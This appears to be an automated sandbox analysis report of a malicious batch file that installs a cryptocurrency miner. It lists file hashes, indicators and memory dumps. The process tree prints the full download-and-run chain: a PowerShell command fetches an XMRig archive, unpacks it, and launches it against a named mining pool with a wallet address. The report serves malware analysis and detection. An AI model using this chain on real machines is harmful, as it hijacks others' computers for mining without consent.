Resubmissions

Analysis

  • max time kernel
    1797s
  • max time network
    1799s
  • platform
    windows10-1703_x64
  • resource
    win10-20240221-en
  • resource tags

    arch:x64arch:x86image:win10-20240221-enlocale:en-usos:windows10-1703-x64system
  • submitted
    16/03/2024, 02:13

General

  • Target

    tesy - Copy (8).bat

  • Size

    608B

  • MD5

    727c8da0478af118c957ae60f7161cab

  • SHA1

    cf18105b8659e93bbd2824fa35ef1bae7b395301

  • SHA256

    97db0437ecb6f401a4674dceead7b17a885241f2ab2495652863d2240f3bedab

  • SHA512

    d9cbb46d5f3caa92d3b44301bc96ccfd5552f2ab3e5460362db3b59d23e0a5c34bf78e9387009092ac5c92b4423c03789aa1fc824a4e1388a1363daa6ab54e01

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip

Signatures

  • XMRig Miner payload 64 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Blocklisted process makes network request 2 IoCs
  • Executes dropped EXE 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\tesy - Copy (8).bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:5116
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip', 'xmrig-6.21.0-gcc-win64.zip')"
      2⤵
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2524
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "Expand-Archive -Path 'xmrig-6.21.0-gcc-win64.zip' -DestinationPath '.'"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:5088
    • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exe
      xmrig.exe --url pool.hashvault.pro:80 --user 42BWpXvTvDbHpMyHrnjqBA5bqjnB9z65fGakJV9dQuHSS7pRkpoyx5T4vE4pUjJxPoPrLCAerjoKwdMTQKZNNEqo6zoLmPJ --pass tria2 --donate-level 1 --tls --tls-fingerprint 420c7850e09b7c0bdcf748a7da9eb3647daf8515718f36d9ccfdd6b9ff834b14
      2⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      PID:2452

Network

MITRE ATT&CK Matrix

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

    Filesize

    3KB

    MD5

    42d4b1d78e6e092af15c7aef34e5cf45

    SHA1

    6cf9d0e674430680f67260194d3185667a2bb77b

    SHA256

    c4089b4313f7b8b74956faa2c4e15b9ffb1d9e5e29ac7e00a20c48b8f7aef5e0

    SHA512

    d31f065208766eea61facc91b23babb4c94906fb564dc06d114cbbc4068516f94032c764c188bed492509010c5dbe61f096d3e986e0ae3e70a170a9986458930

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    1KB

    MD5

    52ed39050a29a3de7c6dfd33159be4c5

    SHA1

    ac80c4d5c791c72a44a1bed5484d15196ed63ac3

    SHA256

    9b1838e8bbfd4b5e9b684977773e1c90738086bd8a32ffabadc4191f35ec1787

    SHA512

    f47686d1a0770b31f3c2037dd1e79bba31c2ef760c94aba6d0b911efe940d0dd0dc5fa0ef318070873c66e0bb5de7d6979db008512e1271a62cfbbb2a0041dd7

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_wakowz5x.qk5.ps1

    Filesize

    1B

    MD5

    c4ca4238a0b923820dcc509a6f75849b

    SHA1

    356a192b7913b04c54574d18c28d46e6395428ab

    SHA256

    6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b

    SHA512

    4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a

  • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0-gcc-win64.zip

    Filesize

    369KB

    MD5

    55d6b5b54c390d7762244dc0eec3d4cb

    SHA1

    904e890e0fbbe4be7def6e0d7897a17322406bd6

    SHA256

    4c30d4d459eba2b032ed7956424d1151dad4c120f12a5732e7830faa547cc464

    SHA512

    f807c83788f09d8fcf7b0bf7b17b658f7d20b7dfb81eec60aa589fc002bd020223b84b2b58189af8cdc6797c6e265ae8253091bef5fd5284d8cdc909326cb074

  • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exe

    Filesize

    7.9MB

    MD5

    e2fe87cc2c7dab8ca6516620dccd1381

    SHA1

    f714ec0448325435103519452610cf7aadf8bbba

    SHA256

    d0cf7388253342f43f9b04da27f3da9ee18614539efdc2d9c4a0239af51ddbe4

    SHA512

    8455c47e8470e0e322426bc9b9f3c7e858d803bfc8c5d576d580f88585f550b95043139d69b0750a3e211915e3f5ec7a67e7784dcf8cac6bd8fe51ab7e9cbed6

  • memory/2452-142-0x00007FF62F6D0000-0x00007FF6301D3000-memory.dmp

    Filesize

    11.0MB

  • memory/2452-170-0x00007FF62F6D0000-0x00007FF6301D3000-memory.dmp

    Filesize

    11.0MB

  • memory/2452-184-0x00007FF62F6D0000-0x00007FF6301D3000-memory.dmp

    Filesize

    11.0MB

  • memory/2452-183-0x00007FF62F6D0000-0x00007FF6301D3000-memory.dmp

    Filesize

    11.0MB

  • memory/2452-182-0x00007FF62F6D0000-0x00007FF6301D3000-memory.dmp

    Filesize

    11.0MB

  • memory/2452-181-0x00007FF62F6D0000-0x00007FF6301D3000-memory.dmp

    Filesize

    11.0MB

  • memory/2452-180-0x00007FF62F6D0000-0x00007FF6301D3000-memory.dmp

    Filesize

    11.0MB

  • memory/2452-179-0x00007FF62F6D0000-0x00007FF6301D3000-memory.dmp

    Filesize

    11.0MB

  • memory/2452-178-0x00007FF62F6D0000-0x00007FF6301D3000-memory.dmp

    Filesize

    11.0MB

  • memory/2452-177-0x00007FF62F6D0000-0x00007FF6301D3000-memory.dmp

    Filesize

    11.0MB

  • memory/2452-176-0x00007FF62F6D0000-0x00007FF6301D3000-memory.dmp

    Filesize

    11.0MB

  • memory/2452-175-0x00007FF62F6D0000-0x00007FF6301D3000-memory.dmp

    Filesize

    11.0MB

  • memory/2452-174-0x00007FF62F6D0000-0x00007FF6301D3000-memory.dmp

    Filesize

    11.0MB

  • memory/2452-116-0x0000014C41560000-0x0000014C41580000-memory.dmp

    Filesize

    128KB

  • memory/2452-117-0x0000014C415B0000-0x0000014C415D0000-memory.dmp

    Filesize

    128KB

  • memory/2452-118-0x00007FF62F6D0000-0x00007FF6301D3000-memory.dmp

    Filesize

    11.0MB

  • memory/2452-119-0x00007FF62F6D0000-0x00007FF6301D3000-memory.dmp

    Filesize

    11.0MB

  • memory/2452-120-0x0000014C416F0000-0x0000014C41710000-memory.dmp

    Filesize

    128KB

  • memory/2452-121-0x0000014C416D0000-0x0000014C416F0000-memory.dmp

    Filesize

    128KB

  • memory/2452-122-0x00007FF62F6D0000-0x00007FF6301D3000-memory.dmp

    Filesize

    11.0MB

  • memory/2452-123-0x00007FF62F6D0000-0x00007FF6301D3000-memory.dmp

    Filesize

    11.0MB

  • memory/2452-124-0x0000014C416F0000-0x0000014C41710000-memory.dmp

    Filesize

    128KB

  • memory/2452-125-0x0000014C416D0000-0x0000014C416F0000-memory.dmp

    Filesize

    128KB

  • memory/2452-126-0x00007FF62F6D0000-0x00007FF6301D3000-memory.dmp

    Filesize

    11.0MB

  • memory/2452-127-0x00007FF62F6D0000-0x00007FF6301D3000-memory.dmp

    Filesize

    11.0MB

  • memory/2452-128-0x00007FF62F6D0000-0x00007FF6301D3000-memory.dmp

    Filesize

    11.0MB

  • memory/2452-129-0x00007FF62F6D0000-0x00007FF6301D3000-memory.dmp

    Filesize

    11.0MB

  • memory/2452-130-0x00007FF62F6D0000-0x00007FF6301D3000-memory.dmp

    Filesize

    11.0MB

  • memory/2452-131-0x00007FF62F6D0000-0x00007FF6301D3000-memory.dmp

    Filesize

    11.0MB

  • memory/2452-132-0x00007FF62F6D0000-0x00007FF6301D3000-memory.dmp

    Filesize

    11.0MB

  • memory/2452-133-0x00007FF62F6D0000-0x00007FF6301D3000-memory.dmp

    Filesize

    11.0MB

  • memory/2452-134-0x00007FF62F6D0000-0x00007FF6301D3000-memory.dmp

    Filesize

    11.0MB

  • memory/2452-135-0x00007FF62F6D0000-0x00007FF6301D3000-memory.dmp

    Filesize

    11.0MB

  • memory/2452-136-0x00007FF62F6D0000-0x00007FF6301D3000-memory.dmp

    Filesize

    11.0MB

  • memory/2452-137-0x00007FF62F6D0000-0x00007FF6301D3000-memory.dmp

    Filesize

    11.0MB

  • memory/2452-138-0x00007FF62F6D0000-0x00007FF6301D3000-memory.dmp

    Filesize

    11.0MB

  • memory/2452-139-0x00007FF62F6D0000-0x00007FF6301D3000-memory.dmp

    Filesize

    11.0MB

  • memory/2452-140-0x00007FF62F6D0000-0x00007FF6301D3000-memory.dmp

    Filesize

    11.0MB

  • memory/2452-141-0x00007FF62F6D0000-0x00007FF6301D3000-memory.dmp

    Filesize

    11.0MB

  • memory/2452-173-0x00007FF62F6D0000-0x00007FF6301D3000-memory.dmp

    Filesize

    11.0MB

  • memory/2452-172-0x00007FF62F6D0000-0x00007FF6301D3000-memory.dmp

    Filesize

    11.0MB

  • memory/2452-145-0x00007FF62F6D0000-0x00007FF6301D3000-memory.dmp

    Filesize

    11.0MB

  • memory/2452-143-0x00007FF62F6D0000-0x00007FF6301D3000-memory.dmp

    Filesize

    11.0MB

  • memory/2452-146-0x00007FF62F6D0000-0x00007FF6301D3000-memory.dmp

    Filesize

    11.0MB

  • memory/2452-147-0x00007FF62F6D0000-0x00007FF6301D3000-memory.dmp

    Filesize

    11.0MB

  • memory/2452-148-0x00007FF62F6D0000-0x00007FF6301D3000-memory.dmp

    Filesize

    11.0MB

  • memory/2452-149-0x00007FF62F6D0000-0x00007FF6301D3000-memory.dmp

    Filesize

    11.0MB

  • memory/2452-150-0x00007FF62F6D0000-0x00007FF6301D3000-memory.dmp

    Filesize

    11.0MB

  • memory/2452-151-0x00007FF62F6D0000-0x00007FF6301D3000-memory.dmp

    Filesize

    11.0MB

  • memory/2452-152-0x00007FF62F6D0000-0x00007FF6301D3000-memory.dmp

    Filesize

    11.0MB

  • memory/2452-153-0x00007FF62F6D0000-0x00007FF6301D3000-memory.dmp

    Filesize

    11.0MB

  • memory/2452-154-0x00007FF62F6D0000-0x00007FF6301D3000-memory.dmp

    Filesize

    11.0MB

  • memory/2452-155-0x00007FF62F6D0000-0x00007FF6301D3000-memory.dmp

    Filesize

    11.0MB

  • memory/2452-156-0x00007FF62F6D0000-0x00007FF6301D3000-memory.dmp

    Filesize

    11.0MB

  • memory/2452-157-0x00007FF62F6D0000-0x00007FF6301D3000-memory.dmp

    Filesize

    11.0MB

  • memory/2452-158-0x00007FF62F6D0000-0x00007FF6301D3000-memory.dmp

    Filesize

    11.0MB

  • memory/2452-159-0x00007FF62F6D0000-0x00007FF6301D3000-memory.dmp

    Filesize

    11.0MB

  • memory/2452-160-0x00007FF62F6D0000-0x00007FF6301D3000-memory.dmp

    Filesize

    11.0MB

  • memory/2452-161-0x00007FF62F6D0000-0x00007FF6301D3000-memory.dmp

    Filesize

    11.0MB

  • memory/2452-162-0x00007FF62F6D0000-0x00007FF6301D3000-memory.dmp

    Filesize

    11.0MB

  • memory/2452-163-0x00007FF62F6D0000-0x00007FF6301D3000-memory.dmp

    Filesize

    11.0MB

  • memory/2452-164-0x00007FF62F6D0000-0x00007FF6301D3000-memory.dmp

    Filesize

    11.0MB

  • memory/2452-165-0x00007FF62F6D0000-0x00007FF6301D3000-memory.dmp

    Filesize

    11.0MB

  • memory/2452-166-0x00007FF62F6D0000-0x00007FF6301D3000-memory.dmp

    Filesize

    11.0MB

  • memory/2452-167-0x00007FF62F6D0000-0x00007FF6301D3000-memory.dmp

    Filesize

    11.0MB

  • memory/2452-168-0x00007FF62F6D0000-0x00007FF6301D3000-memory.dmp

    Filesize

    11.0MB

  • memory/2452-169-0x00007FF62F6D0000-0x00007FF6301D3000-memory.dmp

    Filesize

    11.0MB

  • memory/2452-144-0x00007FF62F6D0000-0x00007FF6301D3000-memory.dmp

    Filesize

    11.0MB

  • memory/2452-171-0x00007FF62F6D0000-0x00007FF6301D3000-memory.dmp

    Filesize

    11.0MB

  • memory/2524-30-0x00007FF811600000-0x00007FF811FEC000-memory.dmp

    Filesize

    9.9MB

  • memory/2524-4-0x00007FF811600000-0x00007FF811FEC000-memory.dmp

    Filesize

    9.9MB

  • memory/2524-6-0x000001B6C0120000-0x000001B6C0130000-memory.dmp

    Filesize

    64KB

  • memory/2524-5-0x000001B6C1D50000-0x000001B6C1D72000-memory.dmp

    Filesize

    136KB

  • memory/2524-10-0x000001B6DA170000-0x000001B6DA1E6000-memory.dmp

    Filesize

    472KB

  • memory/2524-7-0x000001B6C0120000-0x000001B6C0130000-memory.dmp

    Filesize

    64KB

  • memory/2524-25-0x000001B6C0120000-0x000001B6C0130000-memory.dmp

    Filesize

    64KB

  • memory/5088-76-0x000001AF1C1B0000-0x000001AF1C1C2000-memory.dmp

    Filesize

    72KB

  • memory/5088-38-0x000001AF1BE30000-0x000001AF1BE40000-memory.dmp

    Filesize

    64KB

  • memory/5088-37-0x000001AF1BE30000-0x000001AF1BE40000-memory.dmp

    Filesize

    64KB

  • memory/5088-62-0x000001AF1BE30000-0x000001AF1BE40000-memory.dmp

    Filesize

    64KB

  • memory/5088-36-0x00007FF811600000-0x00007FF811FEC000-memory.dmp

    Filesize

    9.9MB

  • memory/5088-89-0x000001AF1C1A0000-0x000001AF1C1AA000-memory.dmp

    Filesize

    40KB

  • memory/5088-113-0x00007FF811600000-0x00007FF811FEC000-memory.dmp

    Filesize

    9.9MB